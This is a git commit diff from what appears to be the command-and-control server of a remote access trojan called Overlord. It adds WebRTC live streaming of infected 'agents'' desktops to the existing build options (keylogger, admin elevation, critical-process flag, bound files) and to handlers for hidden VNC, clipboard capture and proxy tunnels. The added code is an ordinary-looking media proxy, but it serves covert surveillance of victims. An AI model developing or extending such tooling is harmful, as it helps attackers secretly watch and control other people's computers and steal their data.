WebRTC
This commit is contained in:
@@ -107,6 +107,7 @@ export async function handleBuildRoutes(
|
||||
requireAdmin,
|
||||
criticalProcess,
|
||||
disableKeylogger,
|
||||
enableWebrtc,
|
||||
outputExtension,
|
||||
sleepSeconds,
|
||||
boundFiles,
|
||||
@@ -374,6 +375,7 @@ export async function handleBuildRoutes(
|
||||
requireAdmin: safeRequireAdmin,
|
||||
criticalProcess: safeCriticalProcess,
|
||||
disableKeylogger: !!disableKeylogger,
|
||||
enableWebrtc: !!enableWebrtc,
|
||||
outputExtension: safeOutputExtension,
|
||||
sleepSeconds: safeSleepSeconds,
|
||||
boundFiles: safeBoundFiles,
|
||||
|
||||
@@ -0,0 +1,101 @@
|
||||
import { randomBytes } from "node:crypto";
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { canUserAccessClient } from "../../users";
|
||||
import { logger } from "../../logger";
|
||||
|
||||
const MEDIAMTX_URL = (process.env.OVERLORD_MEDIAMTX_URL || "http://localhost:8889").replace(/\/+$/, "");
|
||||
|
||||
|
||||
const PUBLISH_TOKEN_TTL_MS = 60_000;
|
||||
|
||||
type PublishToken = { clientId: string; expiresAt: number };
|
||||
const publishTokens = new Map<string, PublishToken>();
|
||||
|
||||
function prunePublishTokens(now = Date.now()) {
|
||||
for (const [t, entry] of publishTokens) {
|
||||
if (entry.expiresAt < now) publishTokens.delete(t);
|
||||
}
|
||||
}
|
||||
|
||||
export function issueWebrtcPublishToken(clientId: string): string {
|
||||
prunePublishTokens();
|
||||
const token = randomBytes(24).toString("base64url");
|
||||
publishTokens.set(token, { clientId, expiresAt: Date.now() + PUBLISH_TOKEN_TTL_MS });
|
||||
return token;
|
||||
}
|
||||
|
||||
export function webrtcStreamPathFor(clientId: string): string {
|
||||
return `agents/${clientId}`;
|
||||
}
|
||||
|
||||
export async function handleWebrtcRoutes(req: Request, url: URL): Promise<Response | null> {
|
||||
if (!url.pathname.startsWith("/api/webrtc/")) return null;
|
||||
|
||||
const rest = url.pathname.slice("/api/webrtc/".length);
|
||||
const match = rest.match(/^(agents\/[A-Za-z0-9_.\-]+)\/(whip|whep)(\/[A-Za-z0-9_.\-]+)?$/);
|
||||
if (!match) return new Response("Not Found", { status: 404 });
|
||||
|
||||
const [, streamPath, kind, sessionSuffix] = match;
|
||||
const clientId = streamPath.split("/")[1];
|
||||
|
||||
if (kind === "whip") {
|
||||
const authHeader = req.headers.get("authorization") || "";
|
||||
const m = authHeader.match(/^Bearer\s+(.+)$/i);
|
||||
const token = m?.[1] || "";
|
||||
const entry = publishTokens.get(token);
|
||||
if (!entry || entry.clientId !== clientId || entry.expiresAt < Date.now()) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (req.method === "DELETE") {
|
||||
publishTokens.delete(token);
|
||||
} else {
|
||||
entry.expiresAt = Date.now() + PUBLISH_TOKEN_TTL_MS;
|
||||
}
|
||||
} else {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||
if (!canUserAccessClient(user.userId, user.role as any, clientId)) {
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
}
|
||||
|
||||
const upstreamUrl = `${MEDIAMTX_URL}/${streamPath}/${kind}${sessionSuffix || ""}`;
|
||||
const upstreamHeaders = new Headers();
|
||||
for (const [k, v] of req.headers) {
|
||||
const lower = k.toLowerCase();
|
||||
if (lower === "host" || lower === "authorization" || lower === "cookie") continue;
|
||||
upstreamHeaders.set(k, v);
|
||||
}
|
||||
|
||||
let body: ArrayBuffer | undefined;
|
||||
if (req.method !== "GET" && req.method !== "HEAD" && req.method !== "DELETE") {
|
||||
body = await req.arrayBuffer();
|
||||
}
|
||||
|
||||
let upstreamResp: Response;
|
||||
try {
|
||||
upstreamResp = await fetch(upstreamUrl, {
|
||||
method: req.method,
|
||||
headers: upstreamHeaders,
|
||||
body,
|
||||
});
|
||||
} catch (err) {
|
||||
logger.warn(`[webrtc] upstream fetch failed (${upstreamUrl}): ${(err as Error).message}`);
|
||||
return new Response("Bad Gateway", { status: 502 });
|
||||
}
|
||||
|
||||
const respHeaders = new Headers(upstreamResp.headers);
|
||||
const loc = respHeaders.get("location");
|
||||
if (loc) {
|
||||
try {
|
||||
const abs = new URL(loc, MEDIAMTX_URL);
|
||||
respHeaders.set("location", `/api/webrtc${abs.pathname}`);
|
||||
} catch { }
|
||||
}
|
||||
|
||||
return new Response(upstreamResp.body, {
|
||||
status: upstreamResp.status,
|
||||
statusText: upstreamResp.statusText,
|
||||
headers: respHeaders,
|
||||
});
|
||||
}
|
||||
@@ -157,6 +157,9 @@ type WsLifecycleDeps = {
|
||||
handleHVNCInstalledAppsResult: (clientId: string, payload: any) => void;
|
||||
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
|
||||
handleClipboardContent: (clientId: string, payload: any) => void;
|
||||
handleWebrtcP2PAnswer: (clientId: string, payload: any) => void;
|
||||
handleWebrtcP2PIce: (clientId: string, payload: any) => void;
|
||||
cleanupRdViewerP2P: (ws: ServerWebSocket<SocketData>) => void;
|
||||
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||
cleanupDesktopAudioViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
||||
@@ -723,6 +726,12 @@ export async function handleWebSocketMessage(
|
||||
case "clipboard_content":
|
||||
deps.handleClipboardContent(client.id, payload);
|
||||
break;
|
||||
case "webrtc_p2p_answer":
|
||||
deps.handleWebrtcP2PAnswer(client.id, payload);
|
||||
break;
|
||||
case "webrtc_p2p_ice":
|
||||
deps.handleWebrtcP2PIce(client.id, payload);
|
||||
break;
|
||||
case "proxy_data": {
|
||||
const connId = (payload as any).connectionId;
|
||||
const tunnelData = (payload as any).data;
|
||||
@@ -779,6 +788,7 @@ export function handleWebSocketClose(
|
||||
}
|
||||
|
||||
if (role === "rd_viewer") {
|
||||
deps.cleanupRdViewerP2P(ws);
|
||||
let removedClientId = clientId;
|
||||
for (const [sid, sess] of sessionManager.getAllRdSessions().entries()) {
|
||||
if (sess.viewer === ws) {
|
||||
|
||||
Reference in New Issue
Block a user